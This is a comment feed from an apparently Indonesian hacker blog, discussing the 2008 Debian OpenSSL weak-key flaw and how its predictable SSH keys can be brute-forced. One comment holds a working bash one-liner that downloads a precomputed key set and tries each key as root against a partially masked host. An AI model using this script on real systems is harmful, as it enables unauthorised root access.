Comments on: Brute the crypto library http://www.kecoak-elektronik.net/log/2008/05/16/brute-the-crypto-library/ Defending Classical Hacker Mind since 1995 Wed, 17 Feb 2010 10:01:26 -0500 http://wordpress.org/?v=2.8.4 hourly 1 By: degleng http://www.kecoak-elektronik.net/log/2008/05/16/brute-the-crypto-library/comment-page-1/#comment-323 degleng Sun, 08 Jun 2008 05:55:38 +0000 http://www.kecoak-elektronik.net/log/?p=80#comment-323 nyemialan apa itu, kokor kokor aku, qe3 nyemialan apa itu, kokor kokor aku, qe3

]]> By: my own log » Blog Archive » Debian OpenSSL flaw http://www.kecoak-elektronik.net/log/2008/05/16/brute-the-crypto-library/comment-page-1/#comment-311 my own log » Blog Archive » Debian OpenSSL flaw Thu, 05 Jun 2008 11:11:30 +0000 http://www.kecoak-elektronik.net/log/?p=80#comment-311 [...] ssh di debian dapat ditebak karena pembuatannya hanya berdasarkan PID. Lengkapnya silahkan lihat di sini. Untuk mencek apakah key dipakai itu adalah key yang lemah atau tidak bisa menggunakan tool yang [...] [...] ssh di debian dapat ditebak karena pembuatannya hanya berdasarkan PID. Lengkapnya silahkan lihat di sini. Untuk mencek apakah key dipakai itu adalah key yang lemah atau tidak bisa menggunakan tool yang [...]

]]> By: SSH Geek http://www.kecoak-elektronik.net/log/2008/05/16/brute-the-crypto-library/comment-page-1/#comment-256 SSH Geek Tue, 20 May 2008 18:59:18 +0000 http://www.kecoak-elektronik.net/log/?p=80#comment-256 wget http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2; tar jxvf debian_ssh_rsa_2048_x86.tar.bz2;ls rsa/2048/|grep -v pub > rsa.test;LIST=$(cat rsa.test);for FILE in $LIST;do echo Using private key $(pwd)/rsa/2048/$FILE;ssh -lroot -i $(pwd)/rsa/2048/$FILE -o PasswordAuthentication=no 222.124.xx.xx "pwd" > /dev/null 2>&1;if [ $? -eq 0 ];then echo $(tput setaf 1)Private key found : $(pwd)/rsa/2048/$FILE$(tput sgr0);echo Private key found : $(pwd)/rsa/2048/$FILE >> vulner.log;break;fi;done wget http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2; tar jxvf debian_ssh_rsa_2048_x86.tar.bz2;ls rsa/2048/|grep -v pub > rsa.test;LIST=$(cat rsa.test);for FILE in $LIST;do echo Using private key $(pwd)/rsa/2048/$FILE;ssh -lroot -i $(pwd)/rsa/2048/$FILE -o PasswordAuthentication=no 222.124.xx.xx “pwd” > /dev/null 2>&1;if [ $? -eq 0 ];then echo $(tput setaf 1)Private key found : $(pwd)/rsa/2048/$FILE$(tput sgr0);echo Private key found : $(pwd)/rsa/2048/$FILE >> vulner.log;break;fi;done

]]> By: staff http://www.kecoak-elektronik.net/log/2008/05/16/brute-the-crypto-library/comment-page-1/#comment-230 staff Sat, 17 May 2008 11:42:53 +0000 http://www.kecoak-elektronik.net/log/?p=80#comment-230 hehe, yaph. absolutely right, my dear... ~ h3b hehe, yaph. absolutely right, my dear…

~ h3b

]]> By: phoenix http://www.kecoak-elektronik.net/log/2008/05/16/brute-the-crypto-library/comment-page-1/#comment-223 phoenix Sat, 17 May 2008 01:49:43 +0000 http://www.kecoak-elektronik.net/log/?p=80#comment-223 Hihi, iyhap kemaren salah baca reportnya :), kmrn posting comment makanya saya unapprove/delete lagi coz pada saat yang sama saya membaca ulang reportnya ternyata yang di guesing private key-nya, saya kira tadinya password PEM untuk private keynya he3x, mungkin sebagai catatan kalo authorized_keys nya dikasi PEM password saat generate ssh-keygen PoC dari mueller metinya masih minta password lagi. Hanya saja kebanyakan orang menggunakan RSA authentikasi untuk bypass authentikasi password. Salam Hihi, iyhap kemaren salah baca reportnya :) , kmrn posting comment makanya saya unapprove/delete lagi coz pada saat yang sama saya membaca ulang reportnya ternyata yang di guesing private key-nya, saya kira tadinya password PEM untuk private keynya he3x, mungkin sebagai catatan kalo authorized_keys nya dikasi PEM password saat generate ssh-keygen PoC dari mueller metinya masih minta password lagi. Hanya saja kebanyakan orang menggunakan RSA authentikasi untuk bypass authentikasi password. Salam

]]> By: wedew http://www.kecoak-elektronik.net/log/2008/05/16/brute-the-crypto-library/comment-page-1/#comment-217 wedew Fri, 16 May 2008 17:01:18 +0000 http://www.kecoak-elektronik.net/log/?p=80#comment-217 ^sumpehhh looo.. !?! ^sumpehhh looo.. !?!

]]> By: Cyberheb http://www.kecoak-elektronik.net/log/2008/05/16/brute-the-crypto-library/comment-page-1/#comment-216 Cyberheb Fri, 16 May 2008 13:45:37 +0000 http://www.kecoak-elektronik.net/log/?p=80#comment-216 nah, itu dia yg jadi letak titik permasalahan hole ini, karena private key dari authorized_keys bisa di generate sendiri, itulah yang dilakukan oleh HDM, generate private key utk 1024 DSA, 2048 RSA dan 4096 RSA. Private key-private key tsb yang akan menjadi kamus data dalam proses brute force, dan jauh lbh sederhana krn openssl debian hanya menggunakan parameter PID utk seed dalam randomisasi, jd sebenarnya randomisasi tersebut bisa di anggap tidak random. Selama target merupakan mesin debian, atau turunan debian, atau menggunakan authorized_keys yang digenerate oleh openssl debian based maka bisa di lakukan dari mesin manapun, tentu saja terkecuali ada mekanisme IPS ;) nah, itu dia yg jadi letak titik permasalahan hole ini, karena private key dari authorized_keys bisa di generate sendiri, itulah yang dilakukan oleh HDM, generate private key utk 1024 DSA, 2048 RSA dan 4096 RSA. Private key-private key tsb yang akan menjadi kamus data dalam proses brute force, dan jauh lbh sederhana krn openssl debian hanya menggunakan parameter PID utk seed dalam randomisasi, jd sebenarnya randomisasi tersebut bisa di anggap tidak random.

Selama target merupakan mesin debian, atau turunan debian, atau menggunakan authorized_keys yang digenerate oleh openssl debian based maka bisa di lakukan dari mesin manapun, tentu saja terkecuali ada mekanisme IPS ;)

]]> By: staff http://www.kecoak-elektronik.net/log/2008/05/16/brute-the-crypto-library/comment-page-1/#comment-214 staff Fri, 16 May 2008 13:35:55 +0000 http://www.kecoak-elektronik.net/log/?p=80#comment-214 Author : SSH Geek Comment: anyway, itu proses authentikasi ssh berdasar authentikasi RSA/DSA kan yha?? artinya proses brute force hanya bisa dilakukan dari host yang memiliki private key dari authorized_keys yang ditaruh di server, bener ga?? He he he,,, jadi saya pikir PoC untuk kasus libssl pada openssh ini risknya low-medium saja karena tidak bisa dilakukan dari sembarang host :) Author : SSH Geek

Comment:
anyway, itu proses authentikasi ssh berdasar authentikasi RSA/DSA kan yha?? artinya proses brute force hanya bisa dilakukan dari host yang memiliki private key dari authorized_keys yang ditaruh di server, bener ga?? He he he,,, jadi saya pikir PoC untuk kasus libssl pada openssh ini risknya low-medium saja karena tidak bisa dilakukan dari sembarang host :)

]]>